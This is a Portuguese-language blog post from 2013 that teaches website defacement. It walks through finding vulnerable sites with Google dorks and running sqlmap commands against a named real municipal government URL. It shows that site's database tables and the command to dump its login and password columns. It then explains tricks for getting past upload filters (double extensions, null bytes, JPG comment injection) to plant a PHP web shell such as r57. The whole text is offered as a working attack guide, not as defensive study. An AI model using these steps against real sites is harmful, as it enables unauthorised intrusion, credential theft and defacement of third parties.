quinta-feira, 17 de janeiro de 2013

SQL INJETION - DEFACE

Bom,Primeiro passo é encontrar um Site Vulnerável. E pra isso Usaremos DORKS

DORKS,são endereços aos quais você associa ao Google,Procurando sites Vulneráveis!

      LISTA DE 7 MIL DORKS http://pastebin.com/iAA7Ptnw  


Após abrir um site,depois de Jogar algumas dessas DORKS no Google,Você Vai ter que "Testar" Pra ver se o link é vulnerável;

Para isso você vai por o sinal de aspas (') no final da URL.Se for Vulnerável você vai se deparar com um erro,

Parecido com esse ( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 )

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



Bom achamos um Site Vulnerável...

Agora vamos para o SQLMAP



1° Baixe o SQLMAP
link: http://sourceforge.net/projects/sqlmap/files/sqlmap/0.9/sqlmap-0.9.zip/download
Extraia o arquivo, Para o C: (Para mim fica mais fácil).



Após baixar e Extrair,baixe o Python 2.7: (Necessário para rodar o SqlMap) 
 
Após ter Instalado o python 2.7.vamos Usar o SQLMAP!



Se você extraiu o sqlmap para o C: ,usaremos os Seguintes Comandos com o Prompt De Comando. (Comandos Grifados)



C:\Documents and Settings\Admin>cd \



C:\>cd sqlmap



C:\sqlmap>sqlmap.py -u http://www.ubatuba.sp.gov.br/secret/secret.php?id=13 --dbs (esse comando "--dbs" listará as DBS existentes)



Após isso vai aparecer, as DBS existentes.

----
[*] information_schema
[*] siteubt
[*] test
----
Ok,temos as DBS;eu costumo ir marcando tudo em um txt.
Agora vamos Procurar a DB que o site está usando,usaremos o seguinte comando.



C:\sqlmap>sqlmap.py -u http://www.ubatuba.sp.gov.br/secret/secret.php?id=13 --current-db (esse comando "--current-db" vai listar a DB que o site esta usando.



---

current database: 'siteubt'
---
Pronto sabemos que a DB que está sendo suada é siteubt



Agora vamos Listar as tabelas existentes nessa DB,então usaremos o seguinte comando.



C:\sqlmap>sqlmap.py -u http://www.ubatuba.sp.gov.br/secret/secret.php?id=13 -D siteubt --tables (esse comando "-D siteubt --tables","-D" especifica a DB e "--tables" vai listar as tabelas.



+-----------------+

| a3_questionario |
| agenda |
| agentes |
| anexos |
| brinq_cad |
| brinq_freq |
| cad_edital |
| cad_edital2 |
| ccz |
| concurso |
| concurso2 |
| concurso_emdurb |
| dias |
| documento |
| dperiodo |
| esportes |
| falacidadao |
| foto |
| foto_hab |
| foto_pag |
| foto_san |
| fotos |
| frotas |
| galeriafotos |
| guiasn |
| infoccz |
| issretencao |
| itbi |
| licit |
| log_setor |
| login |
| login2 |
| logs |
| luos |
| menu |
| noticias |
| notluos |
| obras |
| pagina |
| pbairros |
| pcidade |
| pescola |
| pfamilias |
| pidoso |
| pidososinfo |
| pmedicamento |
| pmedutil |
| pmhis |
| pmsb |
| pservsaude |
| pssaudeutil |
| rh1 |
| rh2 |
| secretarias |
| servicosocial |
| tipo |
| tipo2 |
| tipo_hab |
| viaiptu |
+-----------------+



Pronto,ai temos as tabelas, Agora partir dai procuraremos uma tabela que seja de nosso interesse,como exemplo, uma que podemos usar para Logar no site,digamos,coisas preciosas... No caso vemos ali 3 tabelas que podem sem do nosso interesse.




---

log_setor
login
login2
---



Bom agora vamos listar as tabelas,e vamos ver as colunas que tem nelas,Usaremos o seguinte comando.



C:\sqlmap>sqlmap.py -u http://www.ubatuba.sp.gov.br/secret/secret.php?id=13 -D siteubt -T login --columns (esse comando irá listar as colunas dentro da tabela "login")



Nos deparamos Com as seguintes colunas.



+----------+-------------------------------+

| Column | Type | 
+----------+-------------------------------+
| codlogin | mediumint(8) unsigned |
| login | varchar(100) |
| senha | varchar(120) |
+----------+-------------------------------+



login e senha...iremos dar um DUMP neles....Então usaremos o seguinte comando.(Lembrando que eu vou anotando todos os resultados que consigo em todo esse procedimento)



C:\sqlmap>sqlmap.py -u http://www.ubatuba.sp.gov.br/secret/secret.php?id=13 -D siteubt -T login -C login,senha --dump (esse comando "--dump" mostrara os resultados que tanto queremos '-' )



Se você quer explorar muito o site,dump em todas as tabelas de todas as DBs =D



Bom nesse procedimento usamos os Seguintes comandos...



***COMANDOS***

sqlmap.py --url *************** --dbs
sqlmap.py --url *************** --current-db
sqlmap.py --url *************** -D 'databasedosite' --tables
sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite' --columns
sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite" -C 'colunasdosite' --dump



************ é o site que você vai invadir

Nas colunas não se esqueça de separar por , [virgula] ex. usuario,senha --dump



=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



Ok,por exemplo,se conseguirmos Logins e senhas de administradores do site,vamos precisar,Procurar uma area de LOGIN para efetuar o deface. Eu uso o ACUNETIX pois ele lista as pastas que estão no site.



LINK: http://www.acunetix.com/vulnerability-scanner/download.htm

OBS: Acunetix é bom que ele é uma ferramenta que procura falhas no site,com sorte,você pode encontrar diversas falhas escaneando um site com o acunetix.



Ok,após logarmos no site,o que temos a fazer,e encontrar uma área de Upload,e fazer upload de nossa shell...Com a shell podemos alterar o site.



Certos sites,recusam fazer upload de arquivos .php , Como a shell é .php , temos que burlar o upload, faremos da shell, JPG, como se fosse imagem,o que tem que fazer é mudar de .php para .php.jpg , assim taremos upando a shell como imagem.



Existem várias formas de se burlar sistemas de upload de imagens em sites.

Nesse tutorial vou explicar os mais conhecidos métodos e é claro, os melhores métodos.
O porque de nós querermos burlar o sistema, é facil, nós queremos burlar ou para colocar um outro tipo de extensão ou ter algum privilégio no site ou no servidor onde ele está hospedado.
Para termos algum tipo de privilégio, nós teremos que upar uma shell, no caso em PHP ou em C, que será demonstrado nesse tutorial.
Quando você vai upar uma shell em PHP em um sistema de upload de imagens .jpg, ele através do filtro de extensões, ele vai te dar um aviso de que não é possível fazer upload desse arquivo.
O que temos que fazer é descobrir porque ele não nos dá essa permissão.
A primeira coisa que temos que verificar é se ele pega apenas a primeira extensão depois do primeiro ponto (.), por isso iremos tentar upar nossa shell da seguinte forma renomeando o arquivo:
Exemplo:
minhashell.jpg.php
Assim ele seria reconhecido como um arquivo PHP, pois a real extensão é .php.



Na maioria das vezes essa técnica funciona, mas é claro que tem sites que não irão aceitar isso, por isso iremos tentar de outra forma.

Alguns sites pegam apenas a última extensão do arquivo, mas apenas reconhecem a primeira extensão depois do ponto, assim nós podemos upar a shell da seguinte forma:
Exemplo:
minhashell.php.jpg OU minhashell.jpg.php
Assim ele seria reconhecido como um arquivo PHP, pois a extensão real é jpg, mas como é eliminada a segunda extensão, então ele seria renomeado pelo filtro para um arquivo .php.



Um outro tipo de filtro vulnerável é o filtro em que se pode anular a última extensão através de um comando null antes da última extensão.

O arquivo renomeado ficaria assim:
Exemplo:
minhashell.php.jpg OU minhashell.jpg. php
O filtro iria aceitar o arquivo por ele ser uma extensão .jpg, porém como à um comando anulando a última extensão, então ele reconheceria o arquivo como .php apenas.



A maioria dos sistemas de upload reconhece apenas a extensão do arquivo, mas não o tipo de arquivo, isso é muito perigoso para o servidor, pois um arquivo pode ter uma extensão .jpg mas ser um arquivo do tipo PHP.

Com isso o arquivo terá uma extensão .jpg e será hospedado no servidor, mas através de um exploit, ele pode ser renomeado ou você pode modificar um arquivo JPG com linhas em PHP com um editor hexadecimal, mas na maioria das vezes o arquivo corrompe, ficando assim impossibilitado de seguir qualquer comando estabelecido por você.



Outro caso é que o servidor apenas reconhece o tipo de arquivo, mas não a extensão.

Um modo de mudar essa situação é usando o edjpgcom, um software próprio para fazer esse tipo de modificação em arquivo JPG.



A primeira coisa que você vai fazer é criar um pasta chamada jpg no seu C:\ e extrair esse arquivo nessa pasta.

Agora abra o CMD (prompt de comando).
Agora dê um
Exemplo:
cd c:\jpg
Dê o seguinte comando agora:
Exemplo:
edjpgcom.exe suaimagem.jpg
Irá aparecer uma janela e no campo de texto terá um texto, remova esse texto e ponha sua linha de comando em PHP, que será sua shell/exploit e salve.
Não coloque comandos muito grandes, pois irá corromper o arquivo, ponha apenas algumas linhas (a shell c99 não funciona nesse caso pois ela é grande).
Agora renomeie o arquivo para .php e faça upload pelo sistema de upload do site e pronto, não irá mais aparecer aquele erro de "Invalid file Dimensions".





Ou podem fazer do seguinte modo ;

Exemplo:
GIF89a;
<?php
/* r57 shell here */
?>

 
  

Nenhum comentário:

Postar um comentário